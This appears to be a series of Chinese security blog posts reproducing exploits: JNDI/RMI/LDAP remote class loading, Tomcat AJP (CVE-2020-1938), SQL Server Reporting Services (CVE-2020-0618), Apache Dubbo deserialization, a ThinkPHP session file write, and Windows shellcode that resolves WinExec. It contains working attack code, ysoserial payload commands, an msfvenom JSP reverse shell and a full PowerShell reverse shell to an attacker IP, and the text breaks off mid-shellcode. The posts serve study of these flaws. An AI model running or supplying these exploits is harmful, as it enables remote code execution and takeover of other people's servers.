        in.close();
//        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类并运行。

恶意的RMI Server

com.hans.JNDIReference.RMIServer

package com.hans.JNDIReference;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建Registry
        Registry registry = LocateRegistry.createRegistry(9999);
        System.out.println("java RMI registry created. port on 9999...");
        Reference refObj = new Reference("ExportObject", "com.hans.remoteClass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}

受害的Client

com.hans.JNDIReference.RMIClient

package com.hans.JNDIReference;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
//      Properties env = new Properties();
//      env.put(Context.INITIAL_CONTEXT_FACTORY,
//              "com.sun.jndi.rmi.registry.RegistryContextFactory");
//      env.put(Context.PROVIDER_URL,
//              "rmi://localhost:9999");
      Context ctx = new InitialContext();
      DirContext dirc = new InitialDirContext();
      ctx.lookup("rmi://localhost:9999/refObj");
  }
}

1.先启动HttpServer
2.在启动RMIServer
3.最后启动RMIClient

当请求RMI服务上的对象时,也就是InitialContext().lookup(),会同时请求恶意服务器上的Reference类,并加载恶意http服务上的com.hans.remoteClass.ExportObject.class恶意类,导致远程代码执行。InitialContext().lookup()是关键。后面weblogic漏洞的触发也是在这个函数方法上。

bookmark_borderJAVA远程加载利用学习二:lookup LDAP 利用

这节引入了 LDAP服务。通过JNDI (Java Naming and Directory Interface) 来lookup LDAP服务,造成加载远程类。

恶意的LDAP服务

创建一个LDAP服务:
com.hans.ldapServer.LDAPRefServer

package com.hans.ldapServer;


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main(String[] args) throws IOException {
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.setSchema(null);
            config.setEnforceAttributeSyntaxCompliance(false);
            config.setEnforceSingleStructuralObjectClass(false);

            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
            ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
            ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

向LDAP服务注入恶意Object:
package com.hans.ldapServer.LDAPServer1

package com.hans.ldapServer;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.ModificationItem;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.util.Hashtable;

public class LDAPServer1 {
    public static void main(String[] args) throws NamingException, IOException {
    	System.out.println("Working Directory = " +
                System.getProperty("user.dir"));
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

        DirContext ctx = new InitialDirContext(env);

		// 暂时没用上
        String javaCodebase = "http://127.0.0.1:8000/";


        byte[] javaSerializedData = Files.readAllBytes(new File("resources/Jdk7u21_calc.ser").toPath());

        BasicAttribute mod1 = new
                BasicAttribute("javaCodebase", javaCodebase);
        BasicAttribute mod2 = new
                BasicAttribute("javaClassName", "DeserPayload");
        BasicAttribute mod3 = new BasicAttribute("javaSerializedData",
                javaSerializedData);
        ModificationItem[] mods = new ModificationItem[3];
        mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
        mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
        mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);
        ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
    }
}

ysoserial生成一个payload,放到resources目录下:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser

受感染的 Service

com.hans.weblogicLdapExploit.Payload

package com.hans.weblogicLdapExploit;

import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;

import java.util.Hashtable;

public class Payload  {

    public final static String JNDI_FACTORY = "com.sun.jndi.ldap.LdapCtxFactory";
    public final static String url = "ldap://localhost:1389";
    public static void main(String[] args) throws Exception {
    	/*
		    原子名是一个简单、基本、不可分割的组成部分
		    绑定是名称与对象的关联,每个绑定都有一个不同的原子名
		    复合名包含零个或多个原子名,即由多个绑定组成
		    上下文是包含零个或多个绑定的对象,每个绑定都有一个不同的原子名
		    命名系统是一组关联的上下文
		    名称空间是命名系统中包含的所有名称
		    探索名称空间的起点称为初始上下文
		    要获取初始上下文,需要使用初始上下文工厂
    	 * */
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);

        DirContext ctx = new InitialDirContext(env);
	    
        Object local_obj = ctx.lookup("uid=hans,ou=employees,dc=example,dc=com");
    }
}

为了触发漏洞,这个受感染的Service必须要用JDK7U21及其以下版本的JDK。
除了LDAP,这些对象还可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA)或域名服务(DNS)。
360最近正好有研究CORBA :

https://cert.360.cn/report/detail?id=d3f6666d6558f02a6204dd51cb749558

bookmark_borderJAVA远程加载利用学习一:恶意的RMI Server

2020年 年初的时候,Weblogic爆出了一个漏洞CVE-2020-2551,说是 IIOP协议存在反序列化漏洞,可RCE(https://qiita.com/shimizukawasaki/items/7e01401a706900435591 )。
由于当时水平有限,对JAVA 序列化的理解,仅停留在ysoserial生成payload,readObject()一下就能触发RCE。
网上也没有POC,只能深入学习一下。
有幸拜读了前辈们的总结心得:

  1. https://paper.seebug.org/1012
  2. https://paper.seebug.org/1091

受益良多。也算是对JAVA的序列化利用有了新的认识。
内容较多,且内容深度急剧下降,对新手很难掌握。
《JAVA序列化利用学习》这个系列算是抽丝剥茧,一步一步由浅入深,理解CVE-2020-2551是怎么回事。
建议先把前辈的两篇文章按顺序读两遍。理论知识基础全部来自这里两篇文章。

本系列的代码全部摘自前辈的github:

https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms

前辈的github里有很多去weblogic Lookup对象的例子这里就不拿出来了,比较简单,可以跑跑看。
注意的是需要去Weblogic中拿 wlclient.jar 导入到项目。

第一个项目

可以在eclipse中创建maven项目来测试这些代码。
环境:JDK6u29 KaliLinux Eclipse
先用ysoserial生成RCE的序列化流文件:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser

Server端项目

1.先创建一个恶意类:
com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
        try {
            exec("gnome-calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
//        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

2.启动一个Http server 提供远程调用恶意类:
com.hans.httpServer.HttpServer

package com.hans.httpServer;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
 * 你客户端缺什么类到我这个Http服务上来拿
 * https://paper.seebug.org/1091/
 * 1. First start http server
 * */
public class HttpServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HttpServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

3.然后部署一个RMI Server
com.hans.RMI.Message

package com.hans.RMI;

import java.io.Serializable;

public class Message implements Serializable {
    private static final long serialVersionUID = 1L;
    private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

com.hans.RMI.Services

package com.hans.RMI;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

com.hans.RMI.ServicesImpl

package com.hans.RMI;

import java.rmi.RemoteException;

import com.hans.remoteClass.ExportObject;

public class ServicesImpl implements Services {
    public ExportObject sendMessage(Message msg) throws RemoteException {
        return new ExportObject();
    }
}

com.hans.RMI.RMIServer

package com.hans.RMI;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

/*
 * 2. Second start RMI server
 * */

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl obj = new ServicesImpl();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

            //设置java.rmi.server.codebase
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

            Registry reg;
            try {
                // 创建Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类测试服务是否启动成功。

Client端:

作为远程方法调用,我可以不知道ExportObject做了啥,但是我必须要知道ExportObject外表长啥样:
com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
	
}

com.hans.RMI.Message

package com.hans.RMI;

import java.io.Serializable;

public class Message implements Serializable {
    /**
	 * 
	 */
	private static final long serialVersionUID = 1L;
	private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

com.hans.RMI.Services

package com.hans.RMI;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

com.hans.RMI.RMIClient

package com.hans.RMI;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient 
{
    public static void main( String[] args )  throws Exception
    {
        //如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
        System.setProperty("java.security.policy", RMIClient.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
        Message message = new Message();
        message.setMessage("hahaha");

        services.sendMessage(message);
    }
}

当Client项目运行在kali linux 时,从远程加载类库时会触发代码执行,弹出计算器。

bookmark_borderCVE-2020-1938 远程代码执行利用思路

2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布关于Apache Tomcat的安全公告,Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。Tomcat AJP协议由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。

读取服务器webapp下的任意文件的POC网上太多了,这里就跳过。学习一下拿shell的思路。

前提条件:

能上传jsp之类的脚本文件到服务器(文件名后缀不限),文件目录知道,且在web目录下。

1 准备利用的jsp文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f raw > shell.jsp 

假设shell.jsp 文件成功被我上传到了 web目录的 attachments 文件夹下。

(实测在jpg里藏代码,后缀用jpg不行,用jsp就可以)

2 msf监听shell

 msfconsole -q -x  'handler -H 0.0.0.0 -P 4444 -p linux/x86/shell/reverse_tcp'

3 利用

下载 ajpfuzzer_v0.6.jar

java -jar .\ajpfuzzer_v0.6.jar
AJPFuzzer> connect 192.168.1.111 8009
AJPFuzzer/192.168.1.111:8009> forwardrequest 2 "HTTP/1.1" "/attachments/shell.jsp" 127.0.0.1 localhost porto 8009 false "Cookie:AAAA=BBBB" ""

获取了shell。
原因是:当ajp URI设置为jsp路径时,Tomcat会调用JspServlet的service方法处理。
具体请参考别人的分析:

https://mp.weixin.qq.com/s/v3EQw4xaE4QTbvEwkfHz9w

影响范围
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31

bookmark_borderCVE-2020-0618 SQL Server 远程代码执行利用

【背景】
2020年2月,微软发布一系列补丁,其中修复了CVE-2020-0618漏洞,该漏洞需要认证,使用账号密码通过ntml方式登录sql server的SQL Server Reporting Services (SSRS)才能利用,账户权限据说任何权限都可以,我直接用的administrator,其他没测。使用该漏洞可以获取操作系统权限。
【漏洞详情】

1 burp里对sql server配置ntml认证。User options -> connections -> Plateform Authentication

2 nc 设置监听,监听80端口 (测试 443 445 都可以)。

sudo nc -nlvp 80

3 去 https://github.com/pwntester/ysoserial.net/releases 下载 ysoserial.net 工具生成payload,在powershell执行命令:

$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.1.111",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

结果被复制到剪贴板。

4 burp发包

POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=【第三步的结果复制到这并删除多余的换行】&__VIEWSTATE=

成功:

这也是个反序列化的漏洞,对用户输入没做校验就调用 .Deserialize(value)函数。

长见识了,以前只知道java有ysoserial工具,没想到.net也有。

【风险评级】

中危


【影响版本】

【修复建议】
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0618 下载修复补丁。
【参考链接】
https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/ (POC)
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0618 (补丁下载)

bookmark_borderCVE-2019-17564 Apache Dubbo 反序列化漏洞利用

【背景】
2020年2月10号,Apache Dubbo的反序列化漏洞(CVE-2019-17564)被公布,使用 Dubbo-Rpc-Http (2.7.3 or lower) 和
Spring-Web (5.1.9.RELEASE or lower)的版本可被利用。
Apache Dubbo |ˈdʌbəʊ| 是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Dubbo原属于阿里巴巴的开源项目,2018年阿里巴巴捐赠给 Apache 基金会。
【漏洞详情】
在使用http协议的Dubbo中,会调用org.springframework.remoting.rmi.RemoteInvocationSerializingExporter 类,该类中 readObject()时未对用户传入的post数据做校验:

其实是spring的问题
导致服务器存在特定gadgets的情况下可用作RCE(远程代码执行),这里在dubbo provider上用 JDK8U20 并添加 commons-collections4 4.0 复现。
克隆 https://github.com/apache/dubbo-samples 到本地。
在eclipse中导入一个maven项目,选择 dubbo-samples/java/dubbo-samples-http/ 项目。
修改pom.xml中dubbo为受影响的版本(2.7.3):

1 假设存在gadgets,可以利用。

2 修改项目JDK到JDK8U20

在pom.xml中引入commons-collections4,在pom.xml中的标签中添加:

<dependency>
		    <groupId>org.apache.commons</groupId>
		    <artifactId>commons-collections4</artifactId>
		    <version>4.0</version>
</dependency>

在 org.apache.dubbo.samples.http.HttpProvider中引入commons-collections4:

import org.apache.commons.collections4.Bag;
import org.apache.commons.collections4.bag.HashBag;

Bag<String> bag = new HashBag<>();

3 下载zookeeper,配置zookeeper,启动zookeeper。

4 先运行 HttpProvider ,抓包,再运行 HttpConsumer。即可得到dubbo使用http协议的报文。

5 使用ysoserial生成payload,粘贴到burp的 payload里。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "gnome-calculator" > CommonsCollections4_gnome-calculator.ser
paste from file:

【风险评级】
高危
【影响版本】
Dubbo 2.7.0 to 2.7.4
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions
【修复建议】
将项目中的 org.apache.dubbo.dubbo 包升级到最新(当前最新版2.7.5)。
腾讯御界可检测此漏洞的攻击。
【参考链接】

https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5
https://meterpreter.org/cve-2019-17564-apache-dubbo-deserialization-vulnerability-alert/
https://www.mail-archive.com/[email protected]/msg06225.html

bookmark_borderThinkPHP6.0任意文件创建

安装php 7.1
安装Composer
https://getcomposer.org/Composer-Setup.exe
切换到你的WEB根目录下面并执行下面的命令:

PS C:\xampp\htdocs> composer create-project topthink/think tp60

确保tp60/composer.json中版本是6.0
开启Session(有些API应用不需要Session,默认关闭),编辑 tp60/app/middleware.php 取消 “
\think\middleware\SessionInit::class
“的注释。
去github下载6.0的源码,将压缩包中的framework-6.0.0\src,解压到 tp\vendor\topthink\framework\src
启动应用:

PS C:\xampp\htdocs> cd .\tp60\
PS C:\xampp\htdocs\tp60> php think run –host=0.0.0.0 –port=8080

访问8080端口确认可以访问。

根据网友们的分析和官方文档,需要在自己的应用中调用session函数才会触发session的保存。

这里假如这个应用是要操作Session的。
于是修改app目录下自带的应用,修改app/controller/index.php

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        session('demo', $_GET['c']);
        //return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
        return 'ThinkPHP V6.0.0';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
}
这里的 $_GET['c'] 会作为 $data 参数写入以sessionid为名的文件里:

由于是data是用户输入,因此可以用来写shell.

写入文件:

修改PHPSESSION,可以做到把磁盘写爆。
至于怎么把webshell写到public目录下让我可以访问到,还没想好。

影响版本:
6.0
6.1
参考:
https://mochazz.github.io/2020/01/14/ThinkPHP6.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99/?utm_source=tuicool&utm_medium=referral#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://www.kancloud.cn/manual/thinkphp6_0/1037635

bookmark_border理解PE格式—找出导出表(Export Table)中的函数地址(ShellCode篇)

本文接上一篇:

看完理论,接着要来写代码实践一下。
要实现的功能是通过Inline Assembly 打开 C:\1.exe
先要获取kernel32.dll在内存中的基址,因为kernel32中有我需要的函数,有两种方法。

https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html

第一种方法(https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html):

	xor esi, esi			; esi = 0
    	mov ebx, [fs:0x30 + esi]  	; written this way to avoid null bytes
	mov ebx, [ebx + 0x0C] 
	mov ebx, [ebx + 0x14] 
	mov ebx, [ebx]	
	mov ebx, [ebx]	
	mov ebx, [ebx + 0x10]		; ebx holds kernel32.dll base address 76830000
	mov [ebp-8], ebx 		; var8 = kernel32.dll base address

第二种方法(加密解密里的方法):

	xor		ecx, ecx
	mov		ecx, dword ptr fs:[0x30]
	mov		ecx, dword ptr [ecx+0x0C]
	mov		esi, dword ptr [ecx+0x1C]
sc_goonKernel:  
	mov		eax, dword ptr [esi+8] 
	mov		ebx, dword ptr [esi+0x20]            
	mov		esi, dword ptr [esi]
	cmp		dword ptr [ebx+0x0C], 0x320033 ;判断名称中字符32的unicode
	jnz		sc_goonKernel
	mov		ebx, eax  ;获取kernel32地址

本文采用第一种方法。

基础版ShellCode:

#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>

/*
 ref: https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html 
*/
int main(int argc, char* argv[])
{
    std::cout << "Let's start" << std::endl;
    DWORD kernel32Adrress,scStart,scEnd,WinExecAddress;
    int numberOfFunction ;
    __asm__
    (
        ".intel_syntax\n\t"
    "start: \n\t"       

        "push ebp \n\t"
        "mov ebp, esp \n\t"

        "sub    ebp,0x18 \n\t" // Allocate memory on stack for local variables

        "push   0x00636578 \n\t" // 把"C:\1.exe"作为变量推到栈里, 1.exe是要打开的程序
        "push   0x456e6957 \n\t"    //  0x00 作为变量的结束符
        "mov    [ebp-4], esp \n\t"  // var4 = "WinExec\x00"

        "xor esi, esi \n\t"
        "mov ebx, [fs:0x30 + esi] \n\t"
        "mov ebx, [ebx + 0x0C] \n\t"
        "mov ebx, [ebx + 0x14] \n\t"
        "mov ebx, [ebx] \n\t"
        "mov ebx, [ebx] \n\t"
        "mov ebx, [ebx + 0x10] \n\t"

        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table
        
        "mov ecx, [eax + 0x24] \n\t" // RVA of Ordinal Table
        "add ecx, ebx \n\t" // Address of Ordinal Table
        "mov [ebp-0x0C], ecx \n\t" // var_0C = Address of Ordinal Table

        "mov edi, [eax + 0x20] \n\t"    // RVA of Name Pointer Table
        "add edi, ebx \n\t"     // Address of Name Pointer Table
        "mov [ebp-0x10], edi \n\t"   // var_10 = Address of Name Pointer Table

        "mov edx, [eax + 0x1C] \n\t"    // RVA of Address Table
        "add edx, ebx \n\t"     // Address of Address Table
        "mov [ebp-0x14], edx \n\t" //    var_14 = Address of Address Table
        
        "mov edx, [eax + 0x14] \n\t"    // Number of exported functions

        "xor    eax,eax \n\t"   // function name address index

    "loop: \n\t"
        "mov    edi, [ebp-0x10] \n\t"   // var_10 = Address of Name Pointer Table
        "mov    esi, [ebp-4] \n\t"  // var4 = "WinExec\x00"
        "xor    ecx, ecx \n\t"  // function name char index

        "cld \n\t"  //  Clear direction flag,set DF=0 => process strings from left to right.    
        "mov    edi,[edi + eax*4] \n\t"  // next function name RVA 
 
        "add    edi, ebx \n\t"
        "add    cx,8 \n\t"
        "repe   cmpsb \n\t" // Compare the first 8 bytes of strings in 
                        // esi and edi registers. ZF=1 if equal, ZF=0 if not
        "jz found \n\t"
        "inc    eax \n\t"
        "cmp    eax,edx \n\t"   //check if last function is reached
        "jb     loop  \n\t"   // if not the last -> loop
        "add    esp,0x26 \n\t"
        "jmp    end \n\t"

    "found: \n\t"
        "mov    ecx, [ebp-0x0C] \n\t" // var_0C = Address of Ordinal Table
        "mov    edx, [ebp-0x14]\n\t"  // var_14 = Address of Address Table

        "mov    ax, [ecx + eax*2] \n\t" // ax = ordinal number = var_0C + (counter * 2)
        "mov    eax, [edx + eax*4] \n\t"    //  eax = RVA of function = var_14 + (ordinal * 4)
        "mov    %0, eax \n\t"
        "add    eax,ebx \n\t"  //  eax = address of WinExec  = kernel32.dll base address + RVA of WinExec
        

        "xor    edx,edx \n\t"
        "push   edx \n\t"   // null termination
        "push   0x6578652e \n\t"
        "push   0x315c3a43 \n\t"
        "mov    esi,esp \n\t"

        "push   10 \n\t"
        "push   esi \n\t"
        "call   eax \n\t"
        
        "add    esp, 0x46 \n\t"
        
    "end: \n\t"

        :"=r" (WinExecAddress)
        :"r" (WinExecAddress)
        :    
    );
    std::cout << "The WinExec Address is:";
    printf("%llx",WinExecAddress);
    std::cout << std::endl;

}

程序就是找到kernel32.dll 然后找到导出表,遍历找到Function name Table 中WinExec的位置,
通过这个位置找到Ordinal Table中指定的index,通过这个index在 Address Table找到 WinExec的地址,然后传参,call这个地址。


进阶版ShellCode:

#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>

int main(int argc, char* argv[])
{
    std::cout << "Let's start" << std::endl;
    DWORD WinExecAddress=0;
    __asm__
    (
        ".intel_syntax\n\t"
    "start:\n\t"      
        "xor    ecx, ecx\n\t" 
        "mov    ebx, fs:[0x30] \n\t"
        "mov    ebx, [ebx + 0x0C] \n\t"
        "mov    ebx, [ebx + 0x14] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx + 0x10] \n\t"

        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table

        "push   eax \n\t" // save 

        "xor    ecx, ecx \n\t"  // ecx: record how far from first function name
        "dec    ecx \n\t" 
        "mov    esi, [eax + 0x20] \n\t"   // RVA of Name Pointer Table
        "add    esi, ebx \n\t"            
        
    "Find_Loop: \n\t"
        
        "inc    ecx \n\t"   
        "lods   dword ptr [esi] \n\t"   // traverse function name
        "add    eax,ebx \n\t"   // + base address. to get function name Address
        "xor    edi, edi \n\t"  // edi: hashed value
    "Hash_Loop: \n\t"
        "movsx  edx, byte ptr [eax] \n\t"
        "cmp    dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
        "je     hash_OK \n\t" // 这个函数名已经读取到最后一位
        "ror    edi, 7 \n\t"
